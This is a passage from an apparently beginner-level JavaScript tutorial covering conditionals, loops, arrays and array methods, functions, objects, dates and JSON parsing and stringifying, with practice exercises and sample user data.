? console.log('You need a rain coat.')
: console.log('No need for a rain coat.');
```
### Exercise: Conditionals
1. Get user input using prompt(“Enter your age:”). If user is 18 or older , give feedback:You are old enough to drive but if not 18 give feedback to wait for the years he supposed to wait for.
Output:
```sh
Enter your age: 30
You are old enough to drive.
```
Output:
```sh
Enter your age:15
You are left with 3 years to drive.
```
1. Compare the values of myAge and yourAge using if … else. Based on the comparison log to console who is older (me or you). Use prompt(“Enter your age:”) to get the age as input.
Output:
```sh
Enter your age: 30
You are 5 years older than me.
```
1. If a is greater than b return a is greater than b else a is less than b.
Output:
```sh
let a = 4
let b = 3
4 is greater than 3
```
1. Write a code which give grade students according to theirs scores:
- 80-100, A
- 70-89, B
- 60-69, C
- 50-59, D
- 0 -49, F
1. Check if the season is Autumn, Winter, Spring or Summer.
If the user input is:
- September, October or November, the season is Autumn.
- December, January or February, the season is Winter.
- March, April or May, the season is Spring
- June, July or August, the season is Summer
## Loops
In programming languages to carry out repetitive task we use different kinds of loop. The following examples are the commonly used loops.
### For Loop
```js
// for loop structure
for(initialization, condition, increment/decrement){
// code goes here
}
for(let i = 0; i <= 5; i++){
console.log(i)
}
```
### While loop
```js
let i = 0;
while (i <= 5) {
console.log(i);
i++;
}
```
### Do while loop
```js
let i = 0;
do {
console.log(i);
i++;
} while (i <= 5);
```
### Exercises:Loops
1. Iterate 0 to 10 using for loop, do the same using while and do while loop.
1. Iterate 10 to 0 using for loop, do the same using while and do while loop.
1. Write a loop that makes seven calls to console.log to output the following triangle:
```js
#
##
###
####
#####
######
#######
```
1. Iterate the array, ['HTML', 'CSS', 'JavaScript'] using a for loop and print out the items.
1. Use for loop to iterate from 0 to 100 and print only even numbers
1. Use for loop to iterate from 0 to 100 and print only odd numbers
1. Use for loop to iterate from 0 to 100 and print and print the sum of all numbers.
```js
The sum all numbers is 5050.
```
1. Use for loop to iterate from 0 to 100 and print the sum of all evens and the sum of all odds.
```js
The sum of all evens is 2550. And the sum of all odds is 2500.
```
## Arrays
In contrast to variables array can store _multiple values_. Each value in an array has an _index_ and each index has _a reference in a memory address_. Each value can be accessed by using their _indexes_. The index of an array starts from _zero_ and the last element is less by one from the length of the array.
```js
const numbers = [0, 3.14, 9.81, 37, 98.6, 100]; // set of numbers
console.log(numbers.length) // => to know the size of the array, which is 6
console.log(numbers) // -> [0, 3.14, 9.81, 37, 98.6, 100]
console.log(numbers[0]) // -> 0
console.log(numbers[5]) // -> 100
let lastIndex = numbers.length - 1;
console.log(numbers[lastIndex]) -> 100
const webTechs = [
'HTML',
'CSS',
'JavaScript',
'React',
'Redux',
'Node',
'MongoDB'
]; // List of web technologies
console.log(webTechs) // all the array items
console.log(webTechs.length) // => to know the size of the array, which is 7
console.log(webTechs[0]) // -> HTML
console.log(webTechs[6]) // -> MongoDB
let lastIndex = webTechs.length - 1;
console.log(webTechs[lastIndex]) -> MongoDB
const countries = [
'Albania',
'Bolivia',
'Canada',
'Denmark',
'Ethiopia',
'Finland',
'Germany',
'Hungary',
'Ireland',
'Japan',
'Kenya'
]; // List of countries;
console.log(countries) // -> all countries in array
console.log(countries[0]) // -> Albania
console.log(countries[10]) // -> Kenya
let lastIndex = countries.length - 1;
console.log(countries[lastIndex]) -> // Kenya
const shoppingCart = [
'Milk',
'Mango',
'Tomato',
'Potato',
'Avocado',
'Meat',
'Eggs',
'Sugar'
]; // List of food products
console.log(shoppingCart) // -> all shoppingCart in array
console.log(shoppingCart[0]) // -> Milk
console.log(shoppingCart[7]) // -> Sugar
let lastIndex = shoppingCart.length - 1;
console.log(shoppingCart[lastIndex]) -> // Sugar
```
### Exercise : Arrays
1. Declare an _empty_ array;
1. Declare an array with more than 5 number of items
1. Find the length of your array
1. Get the first item, the middle item and the last item of the array
1. Declare an array called _mixedDataTypes_,put different data types and in your array and the array size should be greater than 5
1. Declare an array variable name itCompanies and assign initial values Facebook, Google, Microsoft, Apple, IBM, Oracle and Amazon.
1. Print the array using _console.log()_
1. Print the number of companies in the array
1. Print the first company, middle and last company
1. Print out each company
1. Change companies to uppercase and print them out
1. Print the array like as a sentence: Facebook, Google, Microsoft, Apple, IBM,Oracle and Amazon are big IT companies.
1. Check if a certain company exists in the itCompanies array. If it exist return the company else return a company is _not found_.
1. Filter out companies which have more than one 'o' without the filter method
1. Sort the array using _sort()_ method
1. Reverse the array without _reverse_ method
1. Reverse the array using _reverse()_ method
1. Slice out the first 3 companies from the array
1. Slice out the last 3 companies from the array
1. Slice out the middle IT company or companies from the array
1. Remove the first IT company from the array
1. Remove the middle IT company or companies from the array
1. Remove the last IT company from the array
1. Remove all IT companies
## More on Arrays
There are different methods to manipulate an array. These are some of the available methods to deal with arrays:_Array,length, concat, indexOf, slice, splice, join, toString, includes, lastIndexOf, isArray, fill, push, pop, shift, unshift_
Array:To create an array.
```js
const arr = Array(); // creates an an empty array
console.log(arr);
const eightEmptyValues = Array(8); // it creates eight empty values
console.log(eightEmptyValues); // [empty x 8]
```
- *fill*: Fill all the array elements with a static value
```js
const arr = Array(); // creates an an empty array
console.log(arr);
const eightXvalues = Array(8).fill('X'); // it creates eight element values
console.log(eightXvalues); // ['X', 'X','X','X','X','X','X','X']
```
- *concat*: To concatenate two arrays.
```js
const firstList = [1, 2, 3];
const secondList = [4, 5, 6];
const thirdList = firstList.concat(secondList);
console.log(thirdList); // [1,2,3,4,5,6]
```
- *length*: To know the size of the array
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.length); // -> 5
```
- *indexOf*: To check if an item exist in an array. If it exist it returns the index else it returns -1.
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.indexOf(5)); // -> 4
console.log(numbers.indexOf(0)); // -> -1
console.log(numbers.indexOf(1)); // -> 0
console.log(numbers.indexOf(6)); // -> -1
```
- *lastIndexOf* :Give the position of the last item in the array. If it exist it returns the index else it returns -1.
```js
const numbers = [1, 2, 3, 4, 5, 3, 1, 2];
console.log(numbers.lastIndexOf(2)); // -> 7
console.log(numbers.lastIndexOf(0)); // -> -1
console.log(numbers.lastIndexOf(1)); // -> 6
console.log(numbers.lastIndexOf(4)); // -> 3
console.log(numbers.lastIndexOf(6)); // -> -1
```
*includes*: To check if an item exist in an array. If it exist it returns the true else it returns false.
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.includes(5)); // -> true
console.log(numbers.includes(0)); // -> false
console.log(numbers.includes(1)); // -> true
console.log(numbers.includes(6)); // -> false
```
- *isArray*: To check if the data type is an array
```js
const numbers = [1, 2, 3, 4, 5];
console.log(Array.isArray(numbers)); // -> true
const number = 100;
console.log(Array.isArray(number)); // -> false
```
- *toString*: Converts array to string
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.toString()); // 1,2,3,4,5
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
console.log(names.toString()); // Asabeneh,Mathias,Elias,Brook
```
join:To join the elements of the array, the argument passed in the join method will be joined in the array and return as a string.
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.join()); // 1,2,3,4,5
const names = ['Asabeneh', 'Mathias', 'Elias', 'Brook'];
console.log(names.join()); // Asabeneh,Mathias,Elias,Brook
console.log(names.join('')); //AsabenehMathiasEliasBrook
console.log(names.join(' ')); //Asabeneh Mathias Elias Brook
console.log(names.join(', ')); //Asabeneh, Mathias, Elias, Brook
console.log(names.join(' # ')); //Asabeneh # Mathias # Elias # Brook
```
Slice: To cut out a multiple items in range. It takes two parameters:starting and ending position. It doesn't include the ending position
```js
const numbers = [1,2,3,4,5];
console.log(numbers.slice() // -> it copies all item
console.log(numbers.slice(0) // -> it copies all item
console.log(numbers.indexOf(0, numbers.length)) // it copies all item
console.log(numbers.slice(1,4)) // -> [2,3,4] // it doesn't include the ending position
```
Splice: It takes three parameters:Starting position, number of times to be removed and number items to be added.
```js
const numbers = [1, 2, 3, 4, 5];
console.log(numbers.splice() // -> remove all items
console.log(numbers.splice(0,1)) // remove the first item
console.log(numbers.splice(3, 3, 6, 7, 8)) // -> [1,2,6,7,8] //it removes two item and replace three items
```
- *push*: adding item in the end
```js
const numbers = [1, 2, 3, 4, 5];
numbers.push(6);
console.log(numbers); // -> [1,2,3,4,5,6]
numbers.pop(); // -> remove one item from the end
console.log(numbers); // -> [1,2,3,4,5]
```
- *pop*: Removing item in the end
```js
const numbers = [1, 2, 3, 4, 5];
numbers.pop(); // -> remove one item from the end
console.log(numbers); // -> [1,2,3,4]
```
- *shift*: Removing item in the beginning
```js
const numbers = [1, 2, 3, 4, 5];
numbers.shift(); // -> remove one item from the beginning
console.log(numbers); // -> [2,3,4,5]
```
- *unshift*: Adding item in the beginning
```js
const numbers = [1, 2, 3, 4, 5];
numbers.unshift(0); // -> remove one item from the beginning
console.log(numbers); // -> [0,1,2,3,4,5]
```
---
### Exercise -10 : Array Methods
```js
const shoppingCart = ['Milk','Coffee','Tea', 'Honey'];
const todoList = [
{
task:'Learn JavaScript',
time:'4/3/2019 8:30',
completed:true
},
{
task:'Help some in need',
time:'4/3/2019 4:00',
completed:false
},
{
task:'Do some physical exercises',
time:'4/3/2019 6:00',
completed:false
}
]
```
## Functions
A function is a block of code designed to perform a certain task.
A function is declared by a function key word followed by a name, followed by parentheses (). A parentheses can take a parameter. If a function take a parameter it will be called with argument. A function can also take a default parameter.
A function can be declared or created in couple of ways:
- _Declaration function_
- _Expression function_
- _Anonymous function_
- _Arrow function_
### Function Declaration
```js
//function without parameter
function functionName(){
// code goes here
}
functionName() // calling function by its name and with parentheses
//function without parameter
function addTwoNumbers() {
var numOne = 10;
var numTwo = 20;
var sum = numOne + numTwo;
console.log(sum);
}
addTwoNumbers(); // function has to be called to be executed by it name
// function with one parameter
function functionName(parm1){
//code goes her
}
functionName(parm1); // during calling or invoking one argument needed
function areaOfCircle(r){
let area = Math.PI * r * r;
return area;
}
console.log(areaOfCircle(10)) // should be called with one argument
function square(number) {
return number * number;
}
console.log(square(10));
// function with two parameters
function functionName(parm1, parm2){
//code goes her
}
functionName(parm1,parm2); // during calling or invoking two arguments needed
// Function without parameter doesn't take input, so lets make a parameter with parameter
function sumTwoNumbers(numOne, numTwo) {
var sum = numOne + numTwo;
console.log(sum);
}
sumTwoNumbers(10, 20); // calling functions
// If a function doesn't return it doesn't store data, so it should return
function sumTwoNumbersAndReturn(numOne, numTwo) {
var sum = numOne + numTwo;
return sum;
}
console.log(sumTwoNumbersAndReturn(10, 20));
function printFullName(firstName, lastName) {
return `${firstName} ${lastName}`;
}
console.log(printFullName('Asabeneh', 'Yetayeh'));
console.log(printFullName('Dean', 'Phan'));
// function with multiple parameters
function functionName(parm1, parm2, parm3,...){
//code goes ther
}
functionName(parm1,parm2,parm3,...) // during calling or invoking three arguments needed
// this function takes array as a parameter and sum up the numbers in the array
function sumArrayValues(arr) {
var sum = 0;
for (var i = 0; i < arr.length; i++) {
sum = sum + numbers[i];
}
return sum;
}
const numbers = [1, 2, 3, 4, 5];
console.log(sumArrayValues(numbers));
const areaOfCircle = (radius) => {
let area = Math.PI * radius * radius;
return area;
}
console.log(areaOfCircle(10))
```
### Function Expression
```js
//Declaration function
function square(n) {
return n * n;
}
console.log(square(2)); // -> 4
// Function expression
const square = function(n) {
return n * n;
};
console.log(square(2)); // -> 4
```
### Anonymous Function
```js
// Self invoking functions
(function(n) {
return n * n;
})(2);
const x = (function(n) {
return n * n;
})(2);
console.log(x) // 4
```
### Arrow Function
```js
const square = n => {
return n * n;
};
console.log(square(2)); // -> 4
// if we have only one line, it can be written as follows
// Explicit return
const square = n => n * n; // -> 4
```
### Arrow Function vs Declaration Function
Arrow function and regular functions are not exactly the same.
```js
```
### Exercise - 10 : Functions
1. Declare a function _fullName_ and it print out your full name.
1. Declare a function _fullName_ and now it takes firstName, lastName as a parameter and it returns your full - name.
1. Declare a function _addNumbers_ and it takes two two parameters and it returns sum.
1. An area of a rectangle is calculated as follows: _area = length x width_. Write a function which calculates _areaOfRectangle_.
1. A perimeter of a rectangle is calculated as follows: _perimeter= 2x(length + width)_. Write a function which calculates _perimeterOfRectangle_.
1. A volume of a rectangular prism is calculated as follows: _volume = length x width x height_. Write a function which calculates _volumeOfRectPrism_.
1. Area of a circle is calculated as follows: _area = π x r x r_. Write a function which calculates _areaOfCircle_
1. Circumference of a circle is calculated as follows: _circumference = 2πr_. Write a function which calculates _circumOfCircle_
1. Density of a substance is calculated as follows:_density= mass/volume_. Write a function which calculates _density_.
1. Speed is calculated by dividing the total distance covered by a moving object divided by the total amount of time taken. Write a function which calculates a speed of a moving object, _speed_.
1. Weight of a substance is calculated as follows: _weight = mass x gravity_. Write a function which calculates _weight_.
1. Temperature in oC can be converted to oF using this formula: _oF = (oC x 9/5) + 32_. Write a function which convert oC to oF _convertCelciusToFahrenheit_.
1. Body mass index(BMI) is calculated as follows: _bmi = weight in Kg / (height x height) in m2_. Write a function which calculates _bmi_. BMI is used to broadly define different weight groups in adults 20 years old or older.Check if a person is _underweight, normal, overweight_ or _obese_ based the information given below.
- The same groups apply to both men and women.
- _Underweight_: BMI is less than 18.5
- _Normal weight_: BMI is 18.5 to 24.9
- _Overweight_: BMI is 25 to 29.9
- _Obese_: BMI is 30 or more
1. Write a function called _checkSeason_, it takes a month parameter and returns the season:Autumn, Winter, Spring or Summer.
1. Math.max returns its largest argument. Write a function findMax that takes three arguments and returns their maximum with out using Math.max method.
```js
console.log(findMax(0, 10, 5));
10;
console.log(findMax(0, -10, -2));
0;
```
1. Linear equation is calculated as follows: _ax + b = c_. Write a function which calculates value of a linear equation, _solveLinEquation_.
1. Quadratic equation is calculated as follows: _ax2 + bx + c = 0_. Write a function which calculates value or values of a quadratic equation, _solveQuadEquation_.
1. Declare a function name _printArray_. It takes array as a parameter and it prints out each value of the array.
1. Declare a function name _swapValues_. This function swaps value of x to y.
```js
swapValues(3, 4); // x => 4, y=>3
swapValues(4, 5); // x = 5, y = 4
```
1. Declare a function name _reverseArray_. It takes array as a parameter and it returns the reverse of the array (don't use method).
```js
console.log(reverseArray([1, 2, 3, 4, 5]));
[5, 4, 3, 2, 1];
console.log(reverseArray(['A', 'B', 'C']));
['C', 'B', 'A'];
```
1. Declare a function name _capitalizeArray_. It takes array as a parameter and it returns the - capitalizedarray.
1. Declare a function name _addItem_. It takes an item parameter and it returns an array after adding the item
1. Declare a function name _removeItem_. It takes an index parameter and it returns an array after removing an item
1. Declare a function name _sumOfNumbers_. It takes a number parameter and it adds all the numbers in that range.
1. Declare a function name _sumOfOdds_. It takes a number parameter and it adds all the odd numbers in that - range.
1. Declare a function name _sumOfEven_. It takes a number parameter and it adds all the even numbers in that - range.
1. Declare a function name evensAndOdds . It takes a positive integer as parameter and it counts number of evens and odds in the number.
```sh
evensAndOdds(100);
The number of odds are 50.
The number of evens are 51.
```
1. Write a function which takes any number of arguments and return the sum of the arguments
```js
sum(1, 2, 3); // -> 6
sum(1, 2, 3, 4); // -> 10
```
1. Writ a function which generates a _randomUserIp_.
1. Write a function which generates a _randomMacAddress_
1. Declare a function name _randomHexaNumberGenerator_. When this function is called it generates a random hexadecimal number. The function return the hexadecimal number.
```sh
console.log(randomHexaNumberGenerator());
'#ee33df'
```
1. Declare a function name _userIdGenerator_. When this function is called it generates seven character id. The function return the id.
```sh
console.log(userIdGenerator());
41XTDbE
```
1. Modify question number n . Declare a function name _userIdGeneratedByUser_. It doesn’t take any parameter but it takes two inputs using prompt(). One of the input is the number of characters and the second input is the number of ids which are supposed to be generated.
```sh
userIdGeneratedByUser()
'kcsy2
SMFYb
bWmeq
ZXOYh
2Rgxf
'
userIdGeneratedByUser()
'1GCSgPLMaBAVQZ26
YD7eFwNQKNs7qXaT
ycArC5yrRupyG00S
UbGxOFI7UXSWAyKN
dIV0SSUTgAdKwStr
'
```
1. Write a function name _rgbColorGenerator_ and it generates rgb colors.
```sh
rgbColorGenerator()
rgb(125,244,255)
```
1. Write a function ***arrayOfHexaColors*** which return any number of hexadecimal colors in an array.
1. Write a function ***arrayOfRgbColors*** which return any number of RGB colors in an array.
1. Write a function ***convertHexaToRgb*** which converts hexa color to rgb and it returns an rgb color.
1. Write a function ***convertRgbToHexa*** which converts rgb to hexa color and it returns an hexa color.
1. Write a function ***generateColors*** which can generate any number of hexa or rgb colors.
```js
generateColors('hexa', 3)
['#a3e12f','#03ed55','#eb3d2b']
generateColors('hexa', 1)
'#b334ef'
generateColors('rgb', 3)
['rgb(5, 55, 175','rgb(50, 105, 100','rgb(15, 26, 80']
generateColors('rgb', 1)
'rgb(33,79, 176)'
```
1. Call your function _shuffleArray_, it takes an array as a parameter and it returns a shuffled array
1. Call your function _factorial_, it takes a whole number as a parameter and it return a factorial of the number
1. Call your function _isEmpty_, it takes a parameter and it checks if it is empty or not
1. Call your function _sum_, it takes any number of arguments and it returns the sum.
1. Write a function called _sumOfArrayItems_, it takes an array parameter and return the sum of all the items. Check if all the array items are number types. If not give return reasonable feedback.
1. Write a function called _average_, it takes an array parameter and returns the average of the items. Check if all the array items are number types. If not give return reasonable feedback.
1. Write a function called _modifyArray_ takes array as parameter and modifies the fifth item of the array and return the array. If the array length is less than five it return 'item not found'.
```js
console.log(modifyArray(['Avocado', 'Tomato', 'Potato','Mango', 'Lemon','Carrot']);
// →['Avocado', 'Tomato', 'Potato','Mango', 'LEMON', 'Carrot']
console.log(modifyArray(['Google', 'Facebook','Apple', 'Amazon','Microsoft', 'IBM']);
// →['Google', 'Facebook','Apple', 'Amazon','MICROSOFT', 'IBM']
console.log(modifyArray(['Google', 'Facebook','Apple', 'Amazon']);
// →'Not Found'
```
1. Write a function called *isPrime*, which checks if a number is prime number.
1. Write a functions which checks if all items are unique in the array.
1. Write a function which checks if all the items of the array are the same data type.
1. JavaScript variable name does not support special characters or symbols except $ or _. Write a function ***isValidVariable** which check if a variable is valid or invalid variable.
1. Write a function which returns array of seven random numbers in a range of 0-9. All the numbers must be unique.
```js
sevenRandomNumbers()[(1, 4, 5, 7, 9, 8, 0)];
```
## Object
Everything can be an object and objects do have properties and properties have values.
Creating an object literal. To create an object literal, we use two curly brackets.
An empty object
```js
const person = {};
```
Now, the person object has firstName, lastName, age, location, skills and getFullName properties. The getFullName is function inside the person object and we call it method. The _this_ key word refers to the object itself.Example of object:
```js
const person = {
firstName: 'Asabeneh',
lastName: 'Yetayeh',
age: 100,
location: 'Helsinki',
skills: [
'HTML',
'CSS',
'JavaScript',
'React',
'Node',
'MongoDB',
'Python',
'D3.js'
],
getFullName: function() {
return `${this.firstName}${this.lastName}`;
}
};
const rectangle = {
length: 20,
width: 20,
getArea: function() {
return this.length * this.width;
},
getPerimeter: function() {
return 2 * (this.length + this.width);
}
};
```
Getting values from an object:
```js
const person = {
firstName:'Asabeneh',
lastName:'Yetayeh',
age:100,
location:'Helsinki',
skills:['HTML', 'CSS', 'JavaScript', 'React','Node','MongoDB', 'Python', 'D3.js']
getFullName:function() {
return `${this.firstName}${this.lastName}`
}
}
console.log(person.firstName);
console.log(person.lastName);
console.log(person.getFullName());
// value can be accessed
console.log(person['age');
console.log(person['location']);
```
Setting a new keys in an object
```js
const person = {
firstName:'Asabeneh',
lastName:'Yetayeh',
age:100,
location:'Helsinki',
skills:['HTML', 'CSS', 'JavaScript', 'React','Node','MongoDB', 'Python', 'D3.js']
getFullName:function() {
return `${this.firstName}${this.lastName}`
}
}
person.nationality = 'Ethiopian'
person.live = 'Finland';
console.log(person)
```
### Object Methods
_Object.assign_: To copy an object without modifying the original object
```js
const person = {
name: 'Asabeneh',
age: 200,
country: 'Finland',
skills: ['HTML', 'CSS', 'JS'],
address: {
street: 'Heitamienkatu 16',
pobox: 2002,
city: 'Helsinki'
},
getPersonInfo: function() {
return `I am ${this.name} and I live in ${this.country}. I am ${this.age}.`;
}
};
//Object methods: Object.assign, Object.keys, Object.values, Object.entries
//hasOwnProperty
const copyPerson = Object.assign({}, person);
console.log(copyPerson);
```
_Object.keys_: To get keys of an objet as an array
```js
const keys = Object.keys(copyPerson);
console.log(keys); //['name', 'age', 'country', 'skills', 'address', 'getPersonInfo']
const address = Object.keys(copyPerson.address);
console.log(address); //['street', 'pobox', 'city']
```
_Object.values_:To get values of an object as an array
```js
const values = Object.values(copyPerson);
console.log(values);
```
_Object.entries_:To get the keys and values in an array
```js
const entries = Object.entries(copyPerson);
console.log(entries);
```
_hasOwnProperty_: To check if a specific key or property exist in an object
```js
console.log(copyPerson.hasOwnProperty('name'));
console.log(copyPerson.hasOwnProperty('score'));
```
### Date Object
In JavaScript current time and date is created using JavaScript Date Object.
Some of the methods to extract date object values:*getFullYear(), getMonths(), getDate(), getDay(), getHours(), getMinutes*
```js
const now = new Date ();
const year = now.getFullYear(); // return year
const month = now.getMonth() + 1; // return month(0 - 11)
const date = now.getDate(); // return date (1 - 31)
const hours = now.getHours(); // return number (0 - 23)
const minutes = now.getMinutes();// return number (0 -59)
console.log(`${date}/${month}/${year} ${hours}:${minutes}`)
```
#### Exercises: Date Object
1. Use the new Date() object to get _month, date, year, hour_ and _minute_.
1. Write a function name _displayDateTime_ which display time in this format: 10/03/2019 04:08
```sh
displayDateTime()
10/03/2019 04:08
```
### Exercises:Objects
1. Create an empty object called dog
1. Print the the dog object on the console
1. Add name, legs, color, age and bark properties for the dog object. The bark property is a method which return *woof woof*
1. Get name, legs, color, age and bark value from the dog object
1. Set new properties the dog object: breed, getDogInfo
1. Create an object literal called _personAccount_. It has _firstName, lastName, incomes, expenses_ properties and it has _totalIncome, totalExpense, accountInfo,addIncome, addExpense_ and _accountBalance_ methods. Incomes is a set of incomes and its description and the same for expenses.
1. Count logged in users,count users having greater than equal to 50 points from the following object.
```js
const users = {
Alex: {
email: 'alex@alex.com',
skills: ['HTML', 'CSS', 'JavaScript'],
age: 20,
isLoggedIn: false,
points: 30
},
Asab: {
email: 'asab@asab.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Redux', 'Node.js'],
age: 25,
isLoggedIn: false,
points: 50
},
Brook: {
email: 'daniel@daniel.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Redux'],
age: 30,
isLoggedIn: true,
points: 50
},
Daniel: {
email: 'daniel@alex.com',
skills: ['HTML', 'CSS', 'JavaScript', 'Python'],
age: 20,
isLoggedIn: false,
points: 40
},
John: {
email: 'john@john.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Redux', 'Node.js'],
age: 20,
isLoggedIn: true,
point: 50
},
Thomas: {
email: 'thomas@thomas.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React'],
age: 20,
isLoggedIn: false,
points: 40
}
};
```
1. Set your name in the users object without modifying the original users object
1. Get all keys or properties of users object
1. Get all the values of users object
1. ** Develop a small JavaScript library.
## JSON
JSON stands for JavaScript Object Notation. The JSON syntax is derived from JavaScript object notation syntax, but the JSON format is text or string only. JSON is a light weight data format for storing and transporting. JSON is mostly used when data is sent from a server to a client. JSON is an easier-to-use alternative to XML.
**Example:**
```js
{
"users":[
{
"firstName":"Asabeneh",
"lastName":"Yetayeh",
"age":250,
"email":"asab@asb.com"
},
{
"firstName":"Alex",
"lastName":"James",
"age":25,
"email":"alex@alex.com"
},
{
"firstName":"Lidiya",
"lastName":"Tekle",
"age":28,
"email":"lidiya@lidiya.com"
}
]
}
```
The above JSON example is not much different for a normal object. Then, what is the difference ? The difference is the key of a JSON object should be with double quotes or it should be a string. JavaScript Object and JSON are very similar that we can change JSON to Object and Object to JSON.
Let us see the above example in more detail, it starts with a curly bracket. Inside the curly bracket, there is "users" key which has a value array. Inside the array we have different objects and each objects has keys, each keys has to have double quotes. For instance, we use "firstNaMe" instead of just firstName, however in object we use keys without double quotes. This is the major difference between an object and a JSON. Let's see more examples about JSON.
**Example:**
```js
{
"Alex": {
"email": "alex@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript"
],
"age": 20,
"isLoggedIn": false,
"points": 30
},
"Asab": {
"email": "asab@asab.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Redux",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 25,
"isLoggedIn": false,
"points": 50
},
"Brook": {
"email": "daniel@daniel.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux"
],
"age": 30,
"isLoggedIn": true,
"points": 50
},
"Daniel": {
"email": "daniel@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Python"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"John": {
"email": "john@john.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux",
"Node.js"
],
"age": 20,
"isLoggedIn": true,
"points": 50
},
"Thomas": {
"email": "thomas@thomas.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"Paul": {
"email": "paul@paul.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 20,
"isLoggedIn": false,
"points": 40
}
}
```
### Converting JSON to JavaScript Object
Mostly we fetch JSON data from HTTP response or from a file, but we can store the JSON as a string and we can change to Object for sake of demonstration. In JavaScript the keyword _JSON_ has _parse()_ and _stringify()_ methods. When we want to change the JSON to an object we parse the JSON using _JSON.parse()_. When we want to change the object to JSON we use _JSON.stringify()_.
#### JSON.parse()
```js
JSON.parse(json[, reviver])
// json or text , the data
// reviver is an optional callback function
```
```js
const usersText = `{
"users":[
{
"firstName":"Asabeneh",
"lastName":"Yetayeh",
"age":250,
"email":"asab@asb.com"
},
{
"firstName":"Alex",
"lastName":"James",
"age":25,
"email":"alex@alex.com"
},
{
"firstName":"Lidiya",
"lastName":"Tekle",
"age":28,
"email":"lidiya@lidiya.com"
}
]
}`
const usersObj = JSON.parse(usersText, undefined, 4)
console.log(usersObj)
```
### Using a reviver function with JSON.parse()
To use the reviver function as a formatter, we put the keys we want to format first name and last name value. Let us say, we are interested to format the firstName and lastName of the JSON data .
```js
const usersText = `{
"users":[
{
"firstName":"Asabeneh",
"lastName":"Yetayeh",
"age":250,
"email":"asab@asb.com"
},
{
"firstName":"Alex",
"lastName":"James",
"age":25,
"email":"alex@alex.com"
},
{
"firstName":"Lidiya",
"lastName":"Tekle",
"age":28,
"email":"lidiya@lidiya.com"
}
]
}`
const usersObj = JSON.parse(usersText, (key, value) => {
let newValue =
typeof value == 'string' && key != 'email' ? value.toUpperCase() : value
return newValue
})
console.log(usersObj)
```
The _JSON.parse()_ is very handy to use. You do not have to pass optional parameter, you can just use it with the required parameter and you will achieve quite a lot.
### Converting Object to JSON
When we want to change the object to JSON we use _JSON.stringify()_. The stringify method takes one required parameter and two optional parameters. The replacer is used as filter and the space is an indentations. If we do not want to filter out any of the keys from the object we can just pass undefined.
```js
JSON.stringify(obj, replacer, space)
// json or text , the data
// reviver is an optional callback function
```
Let us convert the following object to a string. First let use keep all the keys and also let us have 4 space indentation.
```js
const users = {
Alex: {
email: 'alex@alex.com',
skills: ['HTML', 'CSS', 'JavaScript'],
age: 20,
isLoggedIn: false,
points: 30
},
Asab: {
email: 'asab@asab.com',
skills: [
'HTML',
'CSS',
'JavaScript',
'Redux',
'MongoDB',
'Express',
'React',
'Node'
],
age: 25,
isLoggedIn: false,
points: 50
},
Brook: {
email: 'daniel@daniel.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Redux'],
age: 30,
isLoggedIn: true,
points: 50
},
Daniel: {
email: 'daniel@alex.com',
skills: ['HTML', 'CSS', 'JavaScript', 'Python'],
age: 20,
isLoggedIn: false,
points: 40
},
John: {
email: 'john@john.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Redux', 'Node.js'],
age: 20,
isLoggedIn: true,
points: 50
},
Thomas: {
email: 'thomas@thomas.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React'],
age: 20,
isLoggedIn: false,
points: 40
},
Paul: {
email: 'paul@paul.com',
skills: [
'HTML',
'CSS',
'JavaScript',
'MongoDB',
'Express',
'React',
'Node'
],
age: 20,
isLoggedIn: false,
points: 40
}
}
const txt = JSON.stringify(users, undefined, 4)
console.log(txt) // text means JSON- because json is a string form of an object.
```
```sh
{
"Alex": {
"email": "alex@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript"
],
"age": 20,
"isLoggedIn": false,
"points": 30
},
"Asab": {
"email": "asab@asab.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Redux",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 25,
"isLoggedIn": false,
"points": 50
},
"Brook": {
"email": "daniel@daniel.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux"
],
"age": 30,
"isLoggedIn": true,
"points": 50
},
"Daniel": {
"email": "daniel@alex.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"Python"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"John": {
"email": "john@john.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React",
"Redux",
"Node.js"
],
"age": 20,
"isLoggedIn": true,
"points": 50
},
"Thomas": {
"email": "thomas@thomas.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"React"
],
"age": 20,
"isLoggedIn": false,
"points": 40
},
"Paul": {
"email": "paul@paul.com",
"skills": [
"HTML",
"CSS",
"JavaScript",
"MongoDB",
"Express",
"React",
"Node"
],
"age": 20,
"isLoggedIn": false,
"points": 40
}
}
```
### Using a Filter Array with JSON.stringify
Now, lets use the replacer as a filter. The user object has long list of keys but we are interested only in few of them. We put the keys we want to keep in array as show in the example and use it the place of the replacer.
```js
const user = {
firstName: 'Asabeneh',
lastName: 'Yetayeh',
country: 'Finland',
city: 'Helsinki',
email: 'alex@alex.com',
skills: ['HTML', 'CSS', 'JavaScript', 'React', 'Pyhton'],
age: 250,
isLoggedIn: false,
points: 30
}
